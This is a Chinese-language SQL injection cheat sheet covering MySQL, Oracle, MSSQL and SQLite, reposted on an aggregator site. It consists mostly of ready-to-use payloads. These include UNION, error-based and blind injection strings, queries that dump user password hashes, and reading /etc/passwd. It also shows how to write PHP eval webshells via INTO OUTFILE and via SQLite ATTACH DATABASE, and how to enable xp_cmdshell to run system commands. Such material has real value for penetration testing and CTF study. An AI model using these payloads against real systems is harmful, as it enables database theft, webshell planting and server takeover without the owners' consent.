表哥有话说 第25期Sql注入备忘录

Posted SKSEC

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了表哥有话说 第25期Sql注入备忘录相关的知识,希望对你有一定的参考价值。

1. mysql

1.1 常用信息及语句

当前用户:user()
数据库版本:version()
数据库名: database()
操作系统:@@version_compile_os

所有用户:
selectgroup_concat(user)frommysql.user

用户hash:
selectgroup_concat(password)frommysql.userwhereuser='root'

所有数据库:
SELECT group_concat(schema_name)frominformation_schema.schemata

表名:
SELECT group_concat(table_name)frominformation_schema.tableswheretable_schema='库名'

//表中有主码约束,非空约束等完整性约束条件的才能用这个语句查询出来 SELECT group_concat(table_name)frominformation_schema.table_constraintswheretable_schema='库名'

字段名:
SELECT group_concat(column_name)frominformation_schema.columnswheretable_name='表名'

读文件:
SELECT load_file('/etc/passwd')

写文件:
SELECT<?php@eval($_POST[1]);?>intooutfile'/var/www/html/shell.php'

1.2 UNION注入

1.2.1 猜字段长度

orderbynum
Example: id=1orderby2 页面正常, id=3orderby6页面错误,那么字段就是2
字符型的话需要注释后面的引号,Example:
id=1' order by 2%23

1.2.2 暴字段位置

and1=2UNION SELECT1,2id=-1UNION SELECT1,2

1.2.3 基本语法

UNION SELECT1,password,3fromadmin

1.3 报错注入

mysql暴错注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法

1.3.1 floor

?id=1OR(SELECT8627FROM(SELECT COUNT(*),CONCAT(0x70307e,(SELECT user()),0x7e7030,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

1.3.2 ExtractValue(有长度限制,最长32位)

?id=1andextractvalue(1,concat(0x7e,(select@@version),0x7e))

1.3.3 UpdateXml(有长度限制,最长32位)

?id=1andupdatexml(1,concat(0x7e,(SELECT@@version),0x7e),1)

1.3.4 NAME_CONST(适用于低版本,不太好用)

?id=261and1=(select*from(selectNAME_CONST(version(),1),NAME_CONST(version(),1))asx)

1.3.5 Error based Double Query Injection

?id=1or1groupbyconcat_ws(0x7e,version(),floor(rand(0)*2))having min(0)or1

1.3.6 exp(5.5.5以上)

id=1and(selectexp(~(select*from(selectuser())x)))

1.4 BOOL盲注

盲注的时候一定注意,MySQL4之后大小写不敏感,可使用binary()函数使大小写敏感。

1.4.1 构造布尔条件

现在很多CTF比赛脑洞都出在了bool条件的构造,花式bool条件构造。

 
   
   
 
  1. //正常情况

  2. 'or bool#

  3. true'and bool#

  4. //不使用空格、注释

  5. 'or(bool)='1

  6. true'and(bool)='1

  7. //不使用or、and、注释

  8. '^!(bool)='1

  9. '=(bool)='

  10. '||(bool)='1

  11. true'%26%26(bool)='1

  12. '=if((bool),1,0)='0

  13. //不使用等号、空格、注释

  14. 'or(bool)<>'0

  15. 'or((bool)in(1))or'0

  16. //其他

  17. or (case when (bool) then 1 else 0 end)

有时候where字句有括号又猜不到SQL语句的时候,可以有下列类似的fuzz

 
   
   
 
  1. 1' or (bool) or '1'='1

  2. 1%' and (bool) or 1=1 and '1'='1

1.4.2 构造逻辑判断

逻辑判断基本就那些函数:

 
   
   
 
  1. left(user(),1)>'r'  

  2. right(user(),1)>'r'  

  3. substr(user(),1,1)='r'  

  4. mid(user(),1,1)='r'

  5. //不使用逗号

  6. user() regexp '^[a-z]'

  7. user() like 'root%'

  8. POSITION('root' in user())

  9. mid(user() from 1 for 1)='r'

  10. mid(user() from 1)='r'

ASCII()、 ORD()和 CHAR()函数一般用做辅助。

1.4.3 利用order by盲注

这种注入一般出现在登录处,形成bool条件。这里只获取password的值,也可以跟多个UNION查询其他的数据,此方法优点在于不使用括号等号等字符。利用order by姿势很多,自由发挥了。

1.5 延时盲注

相对于bool盲注,就是把返回值0和1改为是否执行延时,能用其他方法就不使用延时。
一般格式 if((bool),sleep(3),0)和 or(casewhen(bool)thensleep(3)else0end)

两个函数:
BENCHMARK(100000,MD5(1))orsleep(5)

BENCHMARK()用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的cpu资源。推荐使用sleep()

1.6 MySQL注释符:

  1. -- -

  2. /* .... */

  3. #

  4. `

  5. ;%00

1.7 Insert&Update注入

insert和update一般使用报错注入 【表哥有话说 第25期】Sql注入备忘录

如果没有错误回显,insert可以使用延时注入: 【表哥有话说 第25期】Sql注入备忘录

update可以使用bool盲注和延时盲注。

1.8 order by后的注入

1.8.1 报错注入

1andextractvalue(1,concat(0x7e,(select@@version),0x7e))

【表哥有话说 第25期】Sql注入备忘录

1.8.2 bool盲注

orderbyIF((bool),1,(select1unionselect2))

【表哥有话说 第25期】Sql注入备忘录

1.8.3 延时盲注

不推荐,因为每条数据都会执行延时,能用其他方法就不使用延时。
orderbyIF(1,sleep(3),0); 【表哥有话说 第25期】Sql注入备忘录两条数据延时了6秒

1.9 表名可控注入

1.9.1 表名不完全可控且DESC的表名含有identifier quote,SELECT的表名不含identifier quote

 
   
   
 
  1. mysql_connect("localhost","root","root");

  2. mysql_query("use b2cshop");

  3. $table = $_GET['table'];

  4. mysql_query("desc `shop_{$table}`") or die("DESC 出错:".mysql_error());

  5. $sql = "select * from shop_{$table} where 1=1";

  6. echo $sql;

  7. echo "<br><br><br><br><br><br><br>";

  8. var_dump(mysql_fetch_array(mysql_query("$sql")));

  9. echo mysql_error();

【表哥有话说 第25期】Sql注入备忘录shop_users 后面的两个``,做了shop_users 表的别名,所以无影响。 这时候desc的语句为,

 
   
   
 
  1. desc `shop_users` `where updatexml(1,concat(0x5e24,(select user()),0x5e24),1)#`

1.9.2 表名不完全可控且DESC的表名不含identifier quote,SELECT的表名含有identifier quote

 
   
   
 
  1. mysql_connect("localhost","root","root");

  2. mysql_query("use b2cshop");

  3. $table = $_GET['table'];

  4. mysql_query("desc shop_{$table}") or die("DESC 出错:".mysql_error());

  5. $sql = "select * from `shop_{$table}` where 1=1";

  6. echo $sql;

  7. echo "<br><br><br><br><br><br><br>";

  8. var_dump(mysql_fetch_array(mysql_query("$sql")));

  9. echo mysql_error();

【表哥有话说 第25期】Sql注入备忘录

1.10 无列明注入

1.10.1 别名

union(select1,2,cfrom(select1,2cunionselect*fromflag)b)limit1,1 【表哥有话说 第25期】Sql注入备忘录

或者 union(select1,2,cfrom(select1,2ascunionselect*fromflag)asb)limit1,1 【表哥有话说 第25期】Sql注入备忘录

1.10.2 变量

需要一个请求两个注入

【表哥有话说 第25期】Sql注入备忘录

1.11 可报错时爆表名、字段名、库名

1.11.1 字段名

上文介绍可以使用无列明注入,但是如果再进行限制,不允许使用union 该怎么破呢?

select*fromadminwhereid=1and(select*from(select*fromadminasa join adminasb)asc)

【表哥有话说 第25期】Sql注入备忘录

把当前表第一个字段成功爆出来了。

这个的原理就是在使用别名的时候,表中不能出现相同的字段名,于是我们就利用join把表扩充成两份,在最后别名c的时候 查询到重复字段,就成功报错。

同时,可以利用using爆其他字段:

【表哥有话说 第25期】Sql注入备忘录

1.11.2 表名

翻阅mysql的文档发现了一个非常好玩的函数

Polygon(ls1, ls2, ...)

Polygon从多个LineString或WKB LineString参数 构造一个值 。如果任何参数不表示LinearRing(也就是说,不是一个封闭和简单的LineString),返回值就是NULL

如果传参不是linestring的话,就会爆错,而当如果我们传入的是存在的字段的话,就会爆出已知库、表、列。【表哥有话说 第25期】Sql注入备忘录

1.11.3 库名

上面的方法已经可以爆出库名了,提供另一个方法

select*fromadminwhereid=1-a()

【表哥有话说 第25期】Sql注入备忘录

2. Oracle

2.1 常用信息及语句

注释符:
--+

当前用户权限:
select*fromsession_roles

当前数据库版本:
selectbannerfromsys.v_$versionwhererownum=1

服务器监听IP:
selectutl_inaddr.get_host_addressfromdual

服务器操作系统:
selectmemberfromv$logfilewhererownum=1

服务器sid:
selectinstance_name fromv$instance

当前连接用户:
selectSYS_CONTEXT('USERENV','CURRENT_USER')fromdual

获取数据库名:
selectownerfromall_tableswhererownum=1 依次爆出所有数据库名,假设第一个库名为 first_dbname哪个第二个库 selectownerfromall_tableswhererownum=1andowner<>'first_dbname'依次类推

获取表名:
selecttable_namefromuser_tableswhererownum=1,依次爆出所有表类似暴库。

获取字段名:
selectcolumn_namefromuser_tab_columnswheretable_name='tablename'andrownum=1,依次爆出所有字段类似暴库。

2.2 报错注入

AND2=UTL_INADDR.GET_HOST_ADDRESS(CHR(126)|(SLQ语句)|CHR(126))

2.3 踩的一些坑

Oracle比较玄学,能用SQLmap绝不手工,但测试中总会遇到必须用手工的,比如xml中的一个参数注入(当然也可以写tamper脚本),总结一下自己踩到的坑。

2.3.1 UNION每个字段类型必须相同

比如,原先的语句是这样:

select1,'2','3'fromdual

那么后面的UNION也必须是 int,char,char才行。

可以通过下面方法确定各个字段的类型。 and1=2unionselect'null',null,null,null,null,nullfromdual 如此依次将下面的每个null用单引号替换,查看返回页面,返回正常说明那个字段为字符型。确定所有字段类型后就可以注入了, 是字符型的就用'null',数字型的就直接null

2.3.2 必须跟FROM

Oracle的每个查询必须跟from,Oracle本身有个虚拟表dual,测试的时候可以使用。

3. MSSQL

SQLserver也有点玄学,每个版本的系统内置表不一样,测试的时候很蛋疼。并且SQLserver的使用者参差不齐,网上回答很乱,有时间自己装上各个版本再专门总结。

3.1 常用信息及语句

数据库版本:
select@@VERSION

数据库名:
selectdb_name()

暴当前表中的列:

article.asp?id=6groupbyadmin.username having1=1--

article.asp?id=6groupbyadmin.username,admin.password having1=1--

暴任意表和列:

and(selecttop1namefrom(selecttop N id,namefromsysobjectswherextype=char(85))T orderbyid desc)>1

and(selecttop col_name(object_id('admin'),N)fromsysobjects)>1

暴数据库数据:

and(selecttop1passwordfromadminwhereid=N)>1

3.2 报错注入

MSSQL一般使用类型转换导致的报错注入

【表哥有话说 第25期】Sql注入备忘录

3.3 执行命令

;declare@dint //是否支持多行

如果支持多行语句执行并且是sa权限可以直接执行系统命令。

开启xp_cmdshell:

 
   
   
 
  1. EXEC sp_configure 'show advanced options', 1;

  2. RECONFIGURE;

  3. EXEC sp_configure'xp_cmdshell', 1;

  4. RECONFIGURE;

关闭xp_cmdshell:

 
   
   
 
  1. EXEC sp_configure 'show advanced options', 1;

  2. RECONFIGURE;

  3. EXEC sp_configure'xp_cmdshell', 0;

  4. RECONFIGURE;

执行命令格式:
xp_cmdsehll('whoami');

4. SQLite

4.1 常用信息及语句

数据库版本:
selectsqlite_version()

获取所有表名:
SELECT name FROM sqlite_master WHERE type='table'

所有表结构(包含字段名,表名):
SELECT sql FROM sqlite_master WHERE type='table'

注释符:
--

盲注常用函数: substr()(没有mid、left等函数),判断长度函数 length()

4.2 BOOL盲注

bool条件构造和MySQL一样,但是亦或运算的Payload不可用,注释符使用 --

逻辑判断目前我就翻到一个 substr(),应用实例:
cond='FALSE'or(substr('abc',1,1)='a')

4.3 延时盲注

sqlite没有类似 sleep()的函数,但有个函数 randomblob(N),生成N个任意字符,可以造成延时。

SQLite没有 if,可以使用 casewhen...then...

格式 cond='true'AND1=(casewhen(bool)thenrandomblob(100000000)else0end)
100000000个字符就有明显延时了。

注意cond为真,并且不要有太多条数据,因为有一条数据就会执行一次 randomblob(100000000),如果数据很多的话,服务器直接挂了。可以首先判断一下数据量,再确定N的值,比如我这里有100多条数据,就可以 id=''or1AND1=randomblob(1000000)这样,把N的值缩小100倍。灵活运用。

运用实例:

' or 1 and 1=(case when substr('abc',1,1)='a' then randomblob(1000000) else 0 end)--

4.4 写文件

需要直接访问数据库,或堆叠查询选项启用(默认关闭)

';ATTACH DATABASE '/tmp/p0.php' AS p0;CREATE TABLE p0.shell (data text);INSERT INTO p0.shell (data) VALUES ('<?phpeval($_POST[1]);?>');--

【表哥有话说 第25期】Sql注入备忘录

root权限的话可以写计划任务和公钥,参考redis未授权访问利用。

4.5 读文件

只能用在Windows上,需要特殊配置。

load_extension(library_file,entry_point)



以上是关于表哥有话说 第25期Sql注入备忘录的主要内容,如果未能解决你的问题,请参考以下文章

表哥有话说 第八期web安全之xss攻击初探

第1736期现代 JavaScript 教程 - 代码风格

以下代码片段是不是容易受到 Rails 5 中 SQL 注入的影响?

SQL注入备忘录

SQL注入备忘录拓展

第1960期ReactJS 中的代码注入